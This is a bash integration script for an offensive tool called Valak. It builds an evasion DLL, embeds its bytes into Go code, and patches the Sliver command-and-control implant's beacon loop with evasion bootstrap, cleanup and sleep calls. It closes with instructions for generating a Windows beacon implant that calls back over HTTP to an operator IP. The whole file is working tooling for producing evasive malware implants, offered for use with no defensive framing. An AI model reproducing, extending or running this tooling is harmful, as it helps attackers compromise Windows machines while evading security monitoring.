#!/usr/bin/env bash
set -euo pipefail

# ──────────────────────────────────────────────────────────────────────────────
# Valak → Sliver integration script
# ──────────────────────────────────────────────────────────────────────────────
# Builds the Valak DLL, embeds it in go-bridge, patches Sliver's runner.go,
# and builds the implant. Works on Linux and WSL.
#
# Requirements:
#   • Zig (any platform targetting x86_64-windows)
#   • Go with go.mod in the Sliver clone
#   • python3
#
# Usage:
#   ./scripts/integrate.sh <path-to-sliver-clone> [--skip-build]
#
# Examples:
#   ./scripts/integrate.sh ~/projects/sliver
#   ./scripts/integrate.sh ~/projects/sliver --skip-build
#   ZIG=/mnt/c/Zig/zig.exe ./scripts/integrate.sh ~/projects/sliver
# ──────────────────────────────────────────────────────────────────────────────

# ── config ────────────────────────────────────────────────────────────────────
SLIVER_DIR="${1:?Usage: $0 <path-to-sliver-clone> [--skip-build]}"
SKIP_BUILD="${2:-}"
VALAK_DIR="$(cd "$(dirname "$0")/.." && pwd)"
ZIG="${ZIG:-zig}"

# ── helpers ───────────────────────────────────────────────────────────────────
die() { echo "[!] $*" >&2; exit 1; }
info() { echo "[*] $*"; }
ok()   { echo "[+] $*"; }

check_dep() {
  command -v "$1" >/dev/null 2>&1 || die "$1 not found in PATH. Install it or set $2."
}

# ── checks ────────────────────────────────────────────────────────────────────
[[ -d "$SLIVER_DIR" ]] || die "Sliver clone not found at: $SLIVER_DIR"
[[ -f "$SLIVER_DIR/implant/sliver/runner/runner.go" ]] || die "Not a Sliver clone — missing implant/sliver/runner/runner.go"
[[ -f "$VALAK_DIR/evasion/build.zig" ]] || die "Run from Valak repo root (or scripts/ subdir)"

check_dep python3 PYTHON3
check_dep go GO

# Zig is optional if --skip-build is given, required otherwise
if [[ "$SKIP_BUILD" != "--skip-build" ]]; then
  check_dep "$ZIG" ZIG
fi

# ── step 1: build valak dll ───────────────────────────────────────────────────
if [[ "$SKIP_BUILD" != "--skip-build" ]]; then
  info "Building Valak DLL (x86_64-windows, ReleaseFast)..."
  cd "$VALAK_DIR/evasion"
  $ZIG build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast
  DLL="$VALAK_DIR/evasion/zig-out/bin/valak.dll"
  [[ -f "$DLL" ]] || die "Build failed — no valak.dll at $DLL"
  ok "valak.dll built ($(stat -c%s "$DLL" 2>/dev/null || wc -c < "$DLL") bytes)"
else
  info "Skipping DLL build (--skip-build). Using existing embed bytes in go-bridge."
fi

# ── step 2: embed dll bytes into go-bridge ────────────────────────────────────
if [[ "$SKIP_BUILD" != "--skip-build" ]]; then
  info "Embedding DLL bytes into go-bridge/embed_dll.go..."
  python3 <<-PYEOF
import os
dll_path = os.path.join("$VALAK_DIR", "evasion", "zig-out", "bin", "valak.dll")
out_path = os.path.join("$VALAK_DIR", "go-bridge", "embed_dll.go")

with open(dll_path, "rb") as f:
    data = f.read()

lines = []
for i in range(0, len(data), 16):
    chunk = data[i:i+16]
    lines.append("\t" + ", ".join(f"0x{b:02x}" for b in chunk) + ",")

content = (
    "//go:build evasion && windows\n"
    "//\n"
    "// Generated by Valak — DO NOT EDIT.\n"
    "package valak\n\n"
    "var embeddedDLL = []byte{\n"
    + "\n".join(lines) + "\n"
    "}\n"
)

with open(out_path, "w") as f:
    f.write(content)
print(f"  wrote {len(data)} bytes to {out_path}")
PYEOF
  ok "embed_dll.go updated"
fi

# ── step 3: copy go-bridge into sliver source tree ────────────────────────────
info "Copying go-bridge to $SLIVER_DIR/implant/sliver/evasion/valak/..."
mkdir -p "$SLIVER_DIR/implant/sliver/evasion/valak"
cp "$VALAK_DIR/go-bridge/"*.go "$SLIVER_DIR/implant/sliver/evasion/valak/"
ok "go-bridge copied"

# ── step 4: patch runner.go ───────────────────────────────────────────────────
RUNNER="$SLIVER_DIR/implant/sliver/runner/runner.go"
info "Patching $RUNNER..."

# Check if already patched
if grep -q 'valak' "$RUNNER" 2>/dev/null; then
  info "  runner.go already contains valak references — checking patches are complete..."

  # Count required patches
  has_bootstrap=$(grep -c 'valak.Bootstrap()' "$RUNNER" 2>/dev/null || echo 0)
  has_cleanup=$(grep -c 'valak.Cleanup()' "$RUNNER" 2>/dev/null || echo 0)
  has_sleep=$(grep -c 'valak.EvasionSleep' "$RUNNER" 2>/dev/null || echo 0)

  if [[ "$has_bootstrap" -ge 1 && "$has_cleanup" -ge 1 && "$has_sleep" -ge 1 ]]; then
    ok "  all valak patches already present — skipping"
  else
    info "  partial patch found — reapplying (may produce duplicates, check manually)"
  fi
fi

python3 <<-PYEOF
content = open("$RUNNER").read()
original = content
changed = False

# 1. Add import
old = 'consts \"github.com/bishopfox/sliver/implant/sliver/constants\"'
new = '\"github.com/bishopfox/sliver/implant/sliver/evasion/valak\"\n\tconsts \"github.com/bishopfox/sliver/implant/sliver/constants\"'
if 'evasion/valak' not in content:
  content = content.replace(old, new, 1)
  changed = True

# 2. Bootstrap in beaconMainLoop
old = 'func beaconMainLoop(beacon *transports.Beacon) error {\n\t// Register beacon\n\terr := beacon.Init()'
new = 'func beaconMainLoop(beacon *transports.Beacon) error {\n\tvalak.Bootstrap()\n\t// Register beacon\n\terr := beacon.Init()'
if 'valak.Bootstrap()' not in content:
  content = content.replace(old, new, 1)
  changed = True

# 3. Cleanup in beaconMainLoop defer
old = '\tdefer func() {\n\t\terr := beacon.Cleanup()'
new = '\tdefer func() {\n\t\tvalak.Cleanup()\n\t\terr := beacon.Cleanup()'
if 'valak.Cleanup()' not in content:
  content = content.replace(old, new, 1)
  changed = True

# 4. Replace sleep block
old = '\t\tselect {\n\t\tcase <-errors:\n\t\t\treturn err\n\t\tcase <-time.After(duration):\n\t\tcase <-shortCircuit:\n\t\t\t// Short circuit current duration with no error\n\t\t}'
new = '\t\tselect {\n\t\tcase err := <-errors:\n\t\t\treturn err\n\t\tcase <-shortCircuit:\n\t\t\t// Short circuit current duration with no error\n\t\tdefault:\n\t\t\tvalak.EvasionSleep(duration)\n\t\t}'
if 'valak.EvasionSleep' not in content:
  content = content.replace(old, new, 1)
  changed = True

if changed:
  open("$RUNNER", "w").write(content)
  print("  runner.go patched")
else:
  print("  runner.go already fully patched — no changes")
PYEOF

ok "runner.go ready"

# ── step 5: verify it compiles ────────────────────────────────────────────────
info "Verifying compilation..."
cd "$SLIVER_DIR"
if GOOS=windows GOARCH=amd64 CGO_ENABLED=0 go vet -tags evasion ./implant/sliver/runner/ 2>&1 | grep -v 'unreachable code'; then
  ok "go vet passed"
fi

# ── step 6: done ──────────────────────────────────────────────────────────────
if [[ "$SKIP_BUILD" == "--skip-build" ]]; then
  info "Skipping implant build (--skip-build)"
fi

ok "source patched — now generate the implant from sliver-server:"
echo ""
echo "   1. sliver-server"
echo "   2. [server] profiles new --beacon --http <YOUR_IP> valak"
echo "   3. [server] generate --profile valak --save /tmp/valak.exe"
echo "   4. [server] jobs --kill 1  (stop default mtls listener)"
echo ""
echo "The generated binary will include Valak's evasion automatically."

echo ""
ok "done"
